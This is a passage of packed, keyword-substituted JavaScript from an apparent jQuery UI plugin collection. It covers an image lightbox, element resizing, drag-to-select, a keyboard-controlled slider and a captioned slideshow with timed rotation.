8x\',O:\'0\',M:\'0\',3j:2}).1L([21,5G,5F]);5Z=1c.3x(\'1W\');A(5Z).1m(\'id\',\'8m\').E({11:\'1k\',T:\'1J\',2N:\'2B\',O:\'0\',M:\'0\',9W:\'az\',6P:\'b7\',eY:\'0\'}).1L([2q,6Z]);A(\'23\').1L(7r).1L(5Z)},2b:C(e,a){el=a?A(a):A(B);8J=el.1m(\'4o\');F b,4E,5G,5F;if(8J!=\'c2\'){A.1q.5A=8J;7F=A(\'a[@4o=\'+8J+\']\');b=7F.1N();4E=7F.aY(a?a:B);5G=7F.I(4E-1);5F=7F.I(4E+1)}aw=el.1m(\'2U\');5C=el.1m(\'3T\');3R=A.12.5O();7r=A(\'#a0\');if(!A.1q.7l){A.1q.7l=14;if(A.2R.46){A(\'#a1\').E(\'S\',Z.3g(3R.ih,3R.h)+\'Q\').E(\'V\',Z.3g(3R.iw,3R.w)+\'Q\').1S()}7r.E(\'S\',Z.3g(3R.ih,3R.h)+\'Q\').E(\'V\',Z.3g(3R.iw,3R.w)+\'Q\').1S().bS(bz,A.1q.24.cb,C(){A.1q.aB(aw,5C,3R,b,4E,5G,5F)});A(\'#8m\').E(\'V\',Z.3g(3R.iw,3R.w)+\'Q\')}L{A(\'#7j\').I(0).4q=P;A(\'#7h\').I(0).4q=P;A.1q.aB(aw,5C,3R,b,4E,5G,5F)}G H},aB:C(a,b,c,d,e,f,g){A(\'#aA\').9U();8l=A(\'#7j\');8l.2x();8k=A(\'#7h\');8k.2x();21=A(\'#bW\');2q=A(\'#bT\');5Z=A(\'#8m\');6Z=A(\'#9X\').E(\'2W\',\'2B\');A(\'#c0\').3i(5C);A.1q.7m=14;if(d)A(\'#bY\').3i(A.1q.24.ca+\' \'+(e+1)+\' \'+A.1q.24.c9+\' \'+d);if(f){8l.I(0).4q=C(){B.4W();A.1q.2b(P,f);G H}}if(g){8k.I(0).4q=C(){B.4W();A.1q.2b(P,g);G H}}21.1S();7u=A.12.2f(2q.I(0));4C=Z.3g(7u.1D,21.I(0).V+A.1q.24.2u*2);59=Z.3g(7u.hb,21.I(0).S+A.1q.24.2u*2);21.E({M:(4C-21.I(0).V)/2+\'Q\',O:(59-21.I(0).S)/2+\'Q\'});2q.E({V:4C+\'Q\',S:59+\'Q\'}).1S();bQ=A.12.a5();5Z.E(\'O\',c.t+(bQ.h/15)+\'Q\');if(5Z.E(\'11\')==\'1k\'){5Z.1S().6U(A.1q.24.3F)}5H=W 8M;A(5H).1m(\'id\',\'aA\').1C(\'eP\',C(){4C=5H.V+A.1q.24.2u*2;59=5H.S+A.1q.24.2u*2;21.2x();2q.4S({S:59},7u.hb!=59?A.1q.24.3F:1,C(){2q.4S({V:4C},7u.1D!=4C?A.1q.24.3F:1,C(){2q.aJ(5H);A(5H).E({T:\'1J\',M:A.1q.24.2u+\'Q\',O:A.1q.24.2u+\'Q\'}).6U(A.1q.24.3F,C(){cL=A.12.2f(6Z.I(0));if(f){8l.E({M:A.1q.24.2u+\'Q\',O:A.1q.24.2u+\'Q\',V:4C/2-A.1q.24.2u*3+\'Q\',S:59-A.1q.24.2u*2+\'Q\'}).1S()}if(g){8k.E({M:4C/2+A.1q.24.2u*2+\'Q\',O:A.1q.24.2u+\'Q\',V:4C/2-A.1q.24.2u*3+\'Q\',S:59-A.1q.24.2u*2+\'Q\'}).1S()}6Z.E({V:4C+\'Q\',O:-cL.hb+\'Q\',2W:\'cl\'}).4S({O:-1},A.1q.24.3F,C(){A.1q.7m=H})})})})});5H.2E=a},8q:C(){A(\'#aA\').9U();A(\'#8m\').2x();A(\'#9X\').E(\'2W\',\'2B\');A(\'#a0\').bS(bz,0,C(){A(B).2x();if(A.2R.46){A(\'#a1\').2x()}});A(\'#7j\').I(0).4q=P;A(\'#7h\').I(0).4q=P;A.1q.5A=P;A.1q.7l=H;A.1q.7m=H;G H}};A.N={1v:P,3A:P,1g:P,1A:P,1o:P,T:P,7f:C(e){A.N.1g=(B.9T)?B.9T:B;A.N.1A=A.12.3W(e);A.N.1o={V:R(A(A.N.1g).E(\'V\'))||0,S:R(A(A.N.1g).E(\'S\'))||0};A.N.T={O:R(A(A.N.1g).E(\'O\'))||0,M:R(A(A.N.1g).E(\'M\'))||0};A(1c).1C(\'3t\',A.N.aO).1C(\'5n\',A.N.aN);if(28 A.N.1g.1h.bO===\'C\'){A.N.1g.1h.bO.1x(A.N.1g)}G H},aN:C(e){A(1c).3h(\'3t\',A.N.aO).3h(\'5n\',A.N.aN);if(28 A.N.1g.1h.cO===\'C\'){A.N.1g.1h.cO.1x(A.N.1g)}A.N.1g=P},aO:C(e){if(!A.N.1g){G}1A=A.12.3W(e);6c=A.N.T.O-A.N.1A.y+1A.y;77=A.N.T.M-A.N.1A.x+1A.x;6c=Z.3g(Z.3k(6c,A.N.1g.1h.7d-A.N.1o.S),A.N.1g.1h.6F);77=Z.3g(Z.3k(77,A.N.1g.1h.7c-A.N.1o.V),A.N.1g.1h.6u);if(28 A.N.1g.1h.4h===\'C\'){F a=A.N.1g.1h.4h.1x(A.N.1g,[77,6c]);if(28 a==\'eI\'&&a.1b==2){77=a[0];6c=a[1]}}A.N.1g.Y.O=6c+\'Q\';A.N.1g.Y.M=77+\'Q\';G H},2b:C(e){A(1c).1C(\'3t\',A.N.7g).1C(\'5n\',A.N.7w);A.N.1v=B.1v;A.N.3A=B.3A;A.N.1A=A.12.3W(e);A.N.1o={V:R(A(B.1v).E(\'V\'))||0,S:R(A(B.1v).E(\'S\'))||0};A.N.T={O:R(A(B.1v).E(\'O\'))||0,M:R(A(B.1v).E(\'M\'))||0};if(A.N.1v.1h.4c){A.N.1v.1h.4c.1x(A.N.1v,[B])}G H},7w:C(){A(1c).3h(\'3t\',A.N.7g).3h(\'5n\',A.N.7w);if(A.N.1v.1h.3C){A.N.1v.1h.3C.1x(A.N.1v,[A.N.3A])}A.N.1v=P;A.N.3A=P},5N:C(a,b){G Z.3k(Z.3g(A.N.1o.V+a*b,A.N.1v.1h.8O),A.N.1v.1h.5R)},5M:C(a,b){G Z.3k(Z.3g(A.N.1o.S+a*b,A.N.1v.1h.7x),A.N.1v.1h.7y)},bN:C(a){G Z.3k(Z.3g(a,A.N.1v.1h.7x),A.N.1v.1h.7y)},7g:C(e){if(A.N.1v==P){G}1A=A.12.3W(e);dx=1A.x-A.N.1A.x;dy=1A.y-A.N.1A.y;1B={V:A.N.1o.V,S:A.N.1o.S};2s={O:A.N.T.O,M:A.N.T.M};2X(A.N.3A){19\'e\':1B.V=A.N.5N(dx,1);1n;19\'eH\':1B.V=A.N.5N(dx,1);1B.S=A.N.5M(dy,1);1n;19\'w\':1B.V=A.N.5N(dx,-1);2s.M=A.N.T.M-1B.V+A.N.1o.V;1n;19\'9R\':1B.V=A.N.5N(dx,-1);2s.M=A.N.T.M-1B.V+A.N.1o.V;1B.S=A.N.5M(dy,1);1n;19\'7a\':1B.S=A.N.5M(dy,-1);2s.O=A.N.T.O-1B.S+A.N.1o.S;1B.V=A.N.5N(dx,-1);2s.M=A.N.T.M-1B.V+A.N.1o.V;1n;19\'n\':1B.S=A.N.5M(dy,-1);2s.O=A.N.T.O-1B.S+A.N.1o.S;1n;19\'9Q\':1B.S=A.N.5M(dy,-1);2s.O=A.N.T.O-1B.S+A.N.1o.S;1B.V=A.N.5N(dx,1);1n;19\'s\':1B.S=A.N.5M(dy,1);1n}if(A.N.1v.1h.44){if(A.N.3A==\'n\'||A.N.3A==\'s\')43=1B.S*A.N.1v.1h.44;L 43=1B.V;4z=A.N.bN(43*A.N.1v.1h.44);43=4z/A.N.1v.1h.44;2X(A.N.3A){19\'n\':19\'7a\':19\'9Q\':2s.O+=1B.S-4z;1n}2X(A.N.3A){19\'7a\':19\'w\':19\'9R\':2s.M+=1B.V-43;1n}1B.S=4z;1B.V=43}if(2s.O<A.N.1v.1h.6F){4z=1B.S+2s.O-A.N.1v.1h.6F;2s.O=A.N.1v.1h.6F;if(A.N.1v.1h.44){43=4z/A.N.1v.1h.44;2X(A.N.3A){19\'7a\':19\'w\':19\'9R\':2s.M+=1B.V-43;1n}1B.V=43}1B.S=4z}if(2s.M<A.N.1v.1h.6u){43=1B.V+2s.M-A.N.1v.1h.6u;2s.M=A.N.1v.1h.6u;if(A.N.1v.1h.44){4z=43*A.N.1v.1h.44;2X(A.N.3A){19\'n\':19\'7a\':19\'9Q\':2s.O+=1B.S-4z;1n}1B.S=4z}1B.V=43}if(2s.O+1B.S>A.N.1v.1h.7d){1B.S=A.N.1v.1h.7d-2s.O;if(A.N.1v.1h.44){1B.V=1B.S/A.N.1v.1h.44}}if(2s.M+1B.V>A.N.1v.1h.7c){1B.V=A.N.1v.1h.7c-2s.M;if(A.N.1v.1h.44){1B.S=1B.V*A.N.1v.1h.44}}F a=H;if(A.N.1v.1h.eG){a=A.N.1v.1h.eG.1x(A.N.1v,[1B,2s]);if(a){if(a.1o){A.1U(1B,a.1o)}if(a.T){A.1U(2s,a.T)}}}8f=A.N.1v.Y;8f.M=2s.M+\'Q\';8f.O=2s.O+\'Q\';8f.V=1B.V+\'Q\';8f.S=1B.S+\'Q\';G H},2l:C(b){if(!b||!b.3G||b.3G.1F!=6E){G}G B.1y(C(){F a=B;a.1h=b;a.1h.8O=b.8O||10;a.1h.7x=b.7x||10;a.1h.5R=b.5R||5P;a.1h.7y=b.7y||5P;a.1h.6F=b.6F||-8V;a.1h.6u=b.6u||-8V;a.1h.7c=b.7c||5P;a.1h.7d=b.7d||5P;bK=A(a).E(\'T\');if(!(bK==\'2i\'||bK==\'1J\')){a.Y.T=\'2i\'}eE=/n|9Q|e|eH|s|9R|w|7a/g;1V(i in a.1h.3G){if(i.5u().aD(eE)!=P){if(a.1h.3G[i].1F==8t){3c=A(a.1h.3G[i]);if(3c.1N()>0){a.1h.3G[i]=3c.I(0)}}if(a.1h.3G[i].4D){a.1h.3G[i].1v=a;a.1h.3G[i].3A=i;A(a.1h.3G[i]).1C(\'4R\',A.N.2b)}}}if(a.1h.5k){if(28 a.1h.5k===\'4B\'){9N=A(a.1h.5k);if(9N.1N()>0){9N.1y(C(){B.9T=a});9N.1C(\'4R\',A.N.7f)}}L if(a.1h.5k==14){A(B).1C(\'4R\',A.N.7f)}}})},4v:C(){G B.1y(C(){F a=B;1V(i in a.1h.3G){a.1h.3G[i].1v=P;a.1h.3G[i].3A=P;A(a.1h.3G[i]).3h(\'4R\',A.N.2b)}if(a.1h.5k){if(28 a.1h.5k===\'4B\'){3c=A(a.1h.5k);if(3c.1N()>0){3c.3h(\'4R\',A.N.7f)}}L if(a.1h.5k==14){A(B).3h(\'4R\',A.N.7f)}}a.1h=P})}};A.fn.1U({jk:A.N.2l,jj:A.N.4v});A.2t=P;A.6J=H;A.31=P;A.6B=[];A.9L=C(e){F a=e.6S||e.6R||-1;if(a==17||a==16){A.6J=14}};A.9J=C(e){A.6J=H};A.eB=C(e){B.f.1A=A.12.3W(e);B.f.1I=A.1U(A.12.3a(B),A.12.2f(B));B.f.4p=A.12.5O(B);B.f.1A.x-=B.f.1I.x;B.f.1A.y-=B.f.1I.y;A(B).1L(A.2t.I(0));if(B.f.hc)A.2t.2H(B.f.hc).E(\'11\',\'2v\');A.2t.E({11:\'2v\',V:\'2G\',S:\'2G\'});if(B.f.o){A.2t.E(\'1E\',B.f.o)}A.31=B;A.7A=H;A.6B=[];B.f.el.1y(C(){B.1I={x:B.7Y+(B.4u&&!A.2R.6l?R(B.4u.4y)||0:0)+(A.31.2P||0),y:B.7t+(B.4u&&!A.2R.6l?R(B.4u.4x)||0:0)+(A.31.2T||0),1D:B.3P,hb:B.5r};if(B.s==14){if(A.6J==H){B.s=H;A(B).3S(A.31.f.71)}L{A.7A=14;A.6B[A.6B.1b]=A.1m(B,\'id\')}}});A.9H.1x(B,[e]);A(1c).1C(\'3t\',A.9H).1C(\'5n\',A.bI);G H};A.9H=C(e){if(!A.31)G;A.eA.1x(A.31,[e])};A.eA=C(e){if(!A.31)G;F a=A.12.3W(e);F b=A.12.5O(A.31);a.x+=b.l-B.f.4p.l-B.f.1I.x;a.y+=b.t-B.f.4p.t-B.f.1I.y;F c=Z.3k(a.x,B.f.1A.x);F d=Z.3k(Z.3B(a.x-B.f.1A.x),Z.3B(B.f.4p.w-c));F f=Z.3k(a.y,B.f.1A.y);F g=Z.3k(Z.3B(a.y-B.f.1A.y),Z.3B(B.f.4p.h-f));if(B.2T>0&&a.y-20<B.2T){F h=Z.3k(b.t,10);f-=h;g+=h;B.2T-=h}L if(B.2T+B.f.1I.h<B.f.4p.h&&a.y+20>B.2T+B.f.1I.h){F h=Z.3k(B.f.4p.h-B.2T,10);B.2T+=h;if(B.2T!=b.t)g+=h}if(B.2P>0&&a.x-20<B.2P){F h=Z.3k(b.l,10);c-=h;d+=h;B.2P-=h}L if(B.2P+B.f.1I.w<B.f.4p.w&&a.x+20>B.2P+B.f.1I.w){F h=Z.3k(B.f.4p.w-B.2P,10);B.2P+=h;if(B.2P!=b.l)d+=h}A.2t.E({M:c+\'Q\',O:f+\'Q\',V:d+\'Q\',S:g+\'Q\'});A.2t.l=c+B.f.4p.l;A.2t.t=f+B.f.4p.t;A.2t.r=A.2t.l+d;A.2t.b=A.2t.t+g;A.7A=H;B.f.el.1y(C(){9G=A.6B.3o(A.1m(B,\'id\'));if(!(B.1I.x>A.2t.r||(B.1I.x+B.1I.1D)<A.2t.l||B.1I.y>A.2t.b||(B.1I.y+B.1I.hb)<A.2t.t)){A.7A=14;if(B.s!=14){B.s=14;A(B).2H(A.31.f.71)}if(9G!=-1){B.s=H;A(B).3S(A.31.f.71)}}L if((B.s==14)&&(9G==-1)){B.s=H;A(B).3S(A.31.f.71)}L if((!B.s)&&(A.6J==14)&&(9G!=-1)){B.s=14;A(B).2H(A.31.f.71)}});G H};A.bI=C(e){if(!A.31)G;A.ez.1x(A.31,[e])};A.ez=C(e){A(1c).3h(\'3t\',A.9H).3h(\'5n\',A.bI);if(!A.31)G;A.2t.E(\'11\',\'1k\');if(B.f.hc)A.2t.3S(B.f.hc);A.31=H;A(\'23\').1L(A.2t.I(0));if(A.7A==14){if(B.f.8d)B.f.8d(A.bF(A.1m(B,\'id\')))}L{if(B.f.8c)B.f.8c(A.bF(A.1m(B,\'id\')))}A.6B=[]};A.bF=C(s){F h=\'\';F o=[];if(a=A(\'#\'+s)){a.I(0).f.el.1y(C(){if(B.s==14){if(h.1b>0){h+=\'&\'}h+=s+\'[]=\'+A.1m(B,\'id\');o[o.1b]=A.1m(B,\'id\')}})}G{6A:h,o:o}};A.fn.jg=C(o){if(!A.2t){A(\'23\',1c).1L(\'<1W id="2t"></1W>\').1C(\'70\',A.9L).1C(\'5Q\',A.9J);A.2t=A(\'#2t\');A.2t.E({T:\'1J\',11:\'1k\'});if(1P.3N){A(\'23\',1c).1C(\'70\',A.9L).1C(\'5Q\',A.9J)}L{A(1c).1C(\'70\',A.9L).1C(\'5Q\',A.9J)}}if(!o){o={}}G B.1y(C(){if(B.ey)G;B.ey=14;B.f={a:o.3r,o:o.1E?2c(o.1E):H,71:o.ex?o.ex:H,hc:o.4G?o.4G:H,8d:o.8d?o.8d:H,8c:o.8c?o.8c:H};B.f.el=A(\'.\'+o.3r);A(B).1C(\'4R\',A.eB).E(\'T\',\'2i\')})};A.2Q={aT:1,ew:C(b){F b=b;G B.1y(C(){B.4g.69.1y(C(a){A.2Q.4s(B,b[a])})})},I:C(){F e=[];B.1y(C(b){if(B.bD){e[b]=[];F c=B;F d=A.12.2f(B);B.4g.69.1y(C(a){F x=B.7Y;F y=B.7t;7B=R(x*1Y/(d.w-B.3P));7C=R(y*1Y/(d.h-B.5r));e[b][a]=[7B||0,7C||0,x||0,y||0]})}});G e},ad:C(a){a.D.ep=a.D.1Z.w-a.D.1w.1D;a.D.eo=a.D.1Z.h-a.D.1w.hb;if(a.92.4g.bB){8Z=a.92.4g.69.I(a.bA+1);if(8Z){a.D.1Z.w=(R(A(8Z).E(\'M\'))||0)+a.D.1w.1D;a.D.1Z.h=(R(A(8Z).E(\'O\'))||0)+a.D.1w.hb}9f=a.92.4g.69.I(a.bA-1);if(9f){F b=R(A(9f).E(\'M\'))||0;F c=R(A(9f).E(\'M\'))||0;a.D.1Z.x+=b;a.D.1Z.y+=c;a.D.1Z.w-=b;a.D.1Z.h-=c}}a.D.ek=a.D.1Z.w-a.D.1w.1D;a.D.ej=a.D.1Z.h-a.D.1w.hb;if(a.D.2C){a.D.gx=((a.D.1Z.w-a.D.1w.1D)/a.D.2C)||1;a.D.gy=((a.D.1Z.h-a.D.1w.hb)/a.D.2C)||1;a.D.d1=a.D.ek/a.D.2C;a.D.d0=a.D.ej/a.D.2C}a.D.1Z.dx=a.D.1Z.x-a.D.22.x;a.D.1Z.dy=a.D.1Z.y-a.D.22.y;A.X.18.E(\'7z\',\'8T\')},3n:C(a,x,y){if(a.D.2C){d9=R(x/a.D.d1);7B=d9*1Y/a.D.2C;d5=R(y/a.D.d0);7C=d5*1Y/a.D.2C}L{7B=R(x*1Y/a.D.ep);7C=R(y*1Y/a.D.eo)}a.D.aa=[7B||0,7C||0,x||0,y||0];if(a.D.3n)a.D.3n.1x(a,a.D.aa)},d3:C(a){6K=a.6S||a.6R||-1;2X(6K){19 35:A.2Q.4s(B.3H,[91,91]);1n;19 36:A.2Q.4s(B.3H,[-91,-91]);1n;19 37:A.2Q.4s(B.3H,[-B.3H.D.gx||-1,0]);1n;19 38:A.2Q.4s(B.3H,[0,-B.3H.D.gy||-1]);1n;19 39:A.2Q.4s(B.3H,[B.3H.D.gx||1,0]);1n;19 40:A.X.4s(B.3H,[0,B.3H.D.gy||1]);1n}},4s:C(a,b){if(!a.D){G}a.D.1w=A.1U(A.12.3a(a),A.12.2f(a));a.D.22={x:R(A.E(a,\'M\'))||0,y:R(A.E(a,\'O\'))||0};a.D.49=A.E(a,\'T\');if(a.D.49!=\'2i\'&&a.D.49!=\'1J\'){a.Y.T=\'2i\'}A.X.ah(a);A.2Q.ad(a);dx=R(b[0])||0;dy=R(b[1])||0;2n=a.D.22.x+dx;2j=a.D.22.y+dy;if(a.D.2C){57=A.X.a9.1x(a,[2n,2j,dx,dy]);if(57.1F==6E){dx=57.dx;dy=57.dy}2n=a.D.22.x+dx;2j=a.D.22.y+dy}57=A.X.ae.1x(a,[2n,2j,dx,dy]);if(57&&57.1F==6E){dx=57.dx;dy=57.dy}2n=a.D.22.x+dx;2j=a.D.22.y+dy;if(a.D.4P&&(a.D.3n||a.D.2I)){A.2Q.3n(a,2n,2j)}2n=!a.D.2g||a.D.2g==\'3Z\'?2n:a.D.22.x||0;2j=!a.D.2g||a.D.2g==\'3K\'?2j:a.D.22.y||0;a.Y.M=2n+\'Q\';a.Y.O=2j+\'Q\'},2l:C(o){G B.1y(C(){if(B.bD==14||!o.3r||!A.12||!A.X||!A.1s){G}4Y=A(o.3r,B);if(4Y.1N()==0){G}F b={2e:\'7X\',4P:14,3n:o.3n&&o.3n.1F==2w?o.3n:P,2I:o.2I&&o.2I.1F==2w?o.2I:P,3c:B,1E:o.1E||H};if(o.2C&&R(o.2C)){b.2C=R(o.2C)||1;b.2C=b.2C>0?b.2C:1}if(4Y.1N()==1)4Y.6r(b);L{A(4Y.I(0)).6r(b);b.3c=P;4Y.6r(b)}4Y.70(A.2Q.d3);4Y.1m(\'aT\',A.2Q.aT++);B.bD=14;B.4g={};B.4g.ec=b.ec;B.4g.2C=b.2C;B.4g.69=4Y;B.4g.bB=o.bB?14:H;by=B;by.4g.69.1y(C(a){B.bA=a;B.92=by});if(o.5f&&o.5f.1F==6h){1V(i=o.5f.1b-1;i>=0;i--){if(o.5f[i].1F==6h&&o.5f[i].1b==2){el=B.4g.69.I(i);if(el.4D){A.2Q.4s(el,o.5f[i])}}}}})}};A.fn.1U({jc:A.2Q.2l,jb:A.2Q.ew,ja:A.2Q.I});A.2p={56:[],ea:C(){B.4W();1d=B.2S;id=A.1m(1d,\'id\');if(A.2p.56[id]!=P){1P.5h(A.2p.56[id])}1u=1d.J.3d+1;if(1d.J.1R.1b<1u){1u=1}1R=A(\'3O\',1d.J.4O);1d.J.3d=1u;if(1R.1N()>0){1R.6d(1d.J.3F,A.2p.7J)}},di:C(){B.4W();1d=B.2S;id=A.1m(1d,\'id\');if(A.2p.56[id]!=P){1P.5h(A.2p.56[id])}1u=1d.J.3d-1;1R=A(\'3O\',1d.J.4O);if(1u<1){1u=1d.J.1R.1b}1d.J.3d=1u;if(1R.1N()>0){1R.6d(1d.J.3F,A.2p.7J)}},2A:C(c){1d=1c.7o(c);if(1d.J.63){1u=1d.J.3d;6k(1u==1d.J.3d){1u=1+R(Z.63()*1d.J.1R.1b)}}L{1u=1d.J.3d+1;if(1d.J.1R.1b<1u){1u=1}}1R=A(\'3O\',1d.J.4O);1d.J.3d=1u;if(1R.1N()>0){1R.6d(1d.J.3F,A.2p.7J)}},go:C(o){F a;if(o&&o.1F==6E){if(o.21){a=1c.7o(o.21.1d);5v=1P.j8.2U.6W("#");o.21.5J=P;if(5v.1b==2){1u=R(5v[1]);1S=5v[1].48(1u,\'\');if(A.1m(a,\'id\')!=1S){1u=1}}L{1u=1}}if(o.84){o.84.4W();a=o.84.2S.2S;id=A.1m(a,\'id\');if(A.2p.56[id]!=P){1P.5h(A.2p.56[id])}5v=o.84.2U.6W("#");1u=R(5v[1]);1S=5v[1].48(1u,\'\');if(A.1m(a,\'id\')!=1S){1u=1}}if(a.J.1R.1b<1u||1u<1){1u=1}a.J.3d=1u;4t=A.12.2f(a);e4=A.12.9y(a);e3=A.12.6b(a);if(a.J.3e){a.J.3e.o.E(\'11\',\'1k\')}if(a.J.3b){a.J.3b.o.E(\'11\',\'1k\')}if(a.J.21){y=R(e4.t)+R(e3.t);if(a.J.1Q){if(a.J.1Q.4J==\'O\'){y+=a.J.1Q.45.hb}L{4t.h-=a.J.1Q.45.hb}}if(a.J.2o){if(a.J.2o&&a.J.2o.5V==\'O\'){y+=a.J.2o.45.hb}L{4t.h-=a.J.2o.45.hb}}if(!a.J.bu){a.J.e1=o.21?o.21.S:(R(a.J.21.E(\'S\'))||0);a.J.bu=o.21?o.21.V:(R(a.J.21.E(\'V\'))||0)}a.J.21.E(\'O\',y+(4t.h-a.J.e1)/2+\'Q\');a.J.21.E(\'M\',(4t.1D-a.J.bu)/2+\'Q\');a.J.21.E(\'11\',\'2v\')}1R=A(\'3O\',a.J.4O);if(1R.1N()>0){1R.6d(a.J.3F,A.2p.7J)}L{9w=A(\'a\',a.J.1Q.o).I(1u-1);A(9w).2H(a.J.1Q.5s);F b=W 8M();b.1d=A.1m(a,\'id\');b.1u=1u-1;b.2E=a.J.1R[a.J.3d-1].2E;if(b.1T){b.5J=P;A.2p.11.1x(b)}L{b.5J=A.2p.11}if(a.J.2o){a.J.2o.o.3i(a.J.1R[1u-1].5W)}}}},7J:C(){1d=B.2S.2S;1d.J.4O.E(\'11\',\'1k\');if(1d.J.1Q.5s){9w=A(\'a\',1d.J.1Q.o).3S(1d.J.1Q.5s).I(1d.J.3d-1);A(9w).2H(1d.J.1Q.5s)}F a=W 8M();a.1d=A.1m(1d,\'id\');a.1u=1d.J.3d-1;a.2E=1d.J.1R[1d.J.3d-1].2E;if(a.1T){a.5J=P;A.2p.11.1x(a)}L{a.5J=A.2p.11}if(1d.J.2o){1d.J.2o.o.3i(1d.J.1R[1d.J.3d-1].5W)}},11:C(){1d=1c.7o(B.1d);if(1d.J.3e){1d.J.3e.o.E(\'11\',\'1k\')}if(1d.J.3b){1d.J.3b.o.E(\'11\',\'1k\')}4t=A.12.2f(1d);y=0;if(1d.J.1Q){if(1d.J.1Q.4J==\'O\'){y+=1d.J.1Q.45.hb}L{4t.h-=1d.J.1Q.45.hb}}if(1d.J.2o){if(1d.J.2o&&1d.J.2o.5V==\'O\'){y+=1d.J.2o.45.hb}L{4t.h-=1d.J.2o.45.hb}}j4=A(\'.bt\',1d);y=y+(4t.h-B.S)/2;x=(4t.1D-B.V)/2;1d.J.4O.E(\'O\',y+\'Q\').E(\'M\',x+\'Q\').3i(\'<3O 2E="\'+B.2E+\'" />\');1d.J.4O.6U(1d.J.3F);3b=1d.J.3d+1;if(3b>1d.J.1R.1b){3b=1}3e=1d.J.3d-1;if(3e<1){3e=1d.J.1R.1b}1d.J.3b.o.E(\'11\',\'2v\').E(\'O\',y+\'Q\').E(\'M\',x+2*B.V/3+\'Q\').E(\'V\',B.V/3+\'Q\').E(\'S\',B.S+\'Q\').1m(\'3T\',1d.J.1R[3b-1].5W);1d.J.3b.o.I(0).2U=\'#\'+3b+A.1m(1d,\'id\');1d.J.3e.o.E(\'11\',\'2v\').E(\'O\',y+\'Q\').E(\'M\',x+\'Q\').E(\'V\',B.V/3+\'Q\').E(\'S\',B.S+\'Q\').1m(\'3T\',1d.J.1R[3e-1].5W);1d.J.3e.o.I(0).2U=\'#\'+3e+A.1m(1d,\'id\')},2l:C(o){if(!o||!o.2q||A.2p.56[o.2q])G;F a=A(\'#\'+o.2q);F c=a.I(0);if(c.Y.T!=\'1J\'&&c.Y.T!=\'2i\'){c.Y.T=\'2i\'}c.Y.2N=\'2B\';if(a.1N()==0)G;c.J={};c.J.1R=o.1R?o.1R:[];c.J.63=o.63&&o.63==14||H;7T=c.dj(\'j3\');1V(i=0;i<7T.1b;i++){6e=c.J.1R.1b;c.J.1R[6e]={2E:7T[i].2E,5W:7T[i].3T||7T[i].j2||\'\'}}if(c.J.1R.1b==0){G}c.J.49=A.1U(A.12.3a(c),A.12.2f(c));c.J.bp=A.12.9y(c);c.J.bo=A.12.6b(c);t=R(c.J.bp.t)+R(c.J.bo.t);b=R(c.J.bp.b)+R(c.J.bo.b);A(\'3O\',c).9U();c.J.3F=o.3F?o.3F:ch;if(o.4J||o.82||o.5s){c.J.1Q={};a.1L(\'<1W 68="dZ"></1W>\');c.J.1Q.o=A(\'.dZ\',c);if(o.82){c.J.1Q.82=o.82;c.J.1Q.o.2H(o.82)}if(o.5s){c.J.1Q.5s=o.5s}c.J.1Q.o.E(\'T\',\'1J\').E(\'V\',c.J.49.w+\'Q\');if(o.4J&&o.4J==\'O\'){c.J.1Q.4J=\'O\';c.J.1Q.o.E(\'O\',t+\'Q\')}L{c.J.1Q.4J=\'4e\';c.J.1Q.o.E(\'4e\',b+\'Q\')}c.J.1Q.9v=o.9v?o.9v:\' \';1V(F i=0;i<c.J.1R.1b;i++){6e=R(i)+1;c.J.1Q.o.1L(\'<a 2U="#\'+6e+o.2q+\'" 68="iY" 3T="\'+c.J.1R[i].5W+\'">\'+6e+\'</a>\'+(6e!=c.J.1R.1b?c.J.1Q.9v:\'\'))}A(\'a\',c.J.1Q.o).1C(\'4U\',C(){A.2p.go({84:B})});c.J.1Q.45=A.12.2f(c.J.1Q.o.I(0))}if(o.5V||o.81){c.J.2o={};a.1L(\'<1W 68="dW">&6G;</1W>\');c.J.2o.o=A(\'.dW\',c);if(o.81){c.J.2o.81=o.81;c.J.2o.o.2H(o.81)}c.J.2o.o.E(\'T\',\'1J\').E(\'V\',c.J.49.w+\'Q\');if(o.5V&&o.5V==\'O\'){c.J.2o.5V=\'O\';c.J.2o.o.E(\'O\',(c.J.1Q&&c.J.1Q.4J==\'O\'?c.J.1Q.45.hb+t:t)+\'Q\')}L{c.J.2o.5V=\'4e\';c.J.2o.o.E(\'4e\',(c.J.1Q&&c.J.1Q.4J==\'4e\'?c.J.1Q.45.hb+b:b)+\'Q\')}c.J.2o.45=A.12.2f(c.J.2o.o.I(0))}if(o.9j){c.J.3b={9j:o.9j};a.1L(\'<a 2U="#2\'+o.2q+\'" 68="dV">&6G;</a>\');c.J.3b.o=A(\'.dV\',c);c.J.3b.o.E(\'T\',\'1J\').E(\'11\',\'1k\').E(\'2N\',\'2B\').E(\'4a\',\'dU\').2H(c.J.3b.9j);c.J.3b.o.1C(\'4U\',A.2p.ea)}if(o.9t){c.J.3e={9t:o.9t};a.1L(\'<a 2U="#0\'+o.2q+\'" 68="dS">&6G;</a>\');c.J.3e.o=A(\'.dS\',c);c.J.3e.o.E(\'T\',\'1J\').E(\'11\',\'1k\').E(\'2N\',\'2B\').E(\'4a\',\'dU\').2H(c.J.3e.9t);c.J.3e.o.1C(\'4U\',A.2p.di)}a.aJ(\'<1W 68="bt"></1W>\');c.J.4O=A(\'.bt\',c);c.J.4O.E(\'T\',\'1J\').E(\'O\',\'2G\').E(\'M\',\'2G\').E(\'11\',\'1k\');if(o.21){a.aJ(\'<1W 68="dz" Y="11: 1k;"><3O 2E="\'+o.21+\'" /></1W>\');c.J.21=A(\'.dz\',c);c.J.21.E(\'T\',\'1J\');F d=W 8M();d.1d=o.2q;d.2E=o.21;if(d.1T){d.5J=P;A.2p.go({21:d})}L{d.5J=C(){A.2p.go({21:B})}}}L{A.2p.go({2q:c})}if(o.ba){dQ=R(o.ba)*8V}A.2p.56[o.2q]=o.ba?1P.5Y(\'A.2p.2A(\\\'\'+o.2q+\'\\\')\',dQ):P}};A.1d=A.2p.2l;A.1p={73:[],54:{},18:H,6X:P,2b:C(){if(A.X.1g==P){G}F 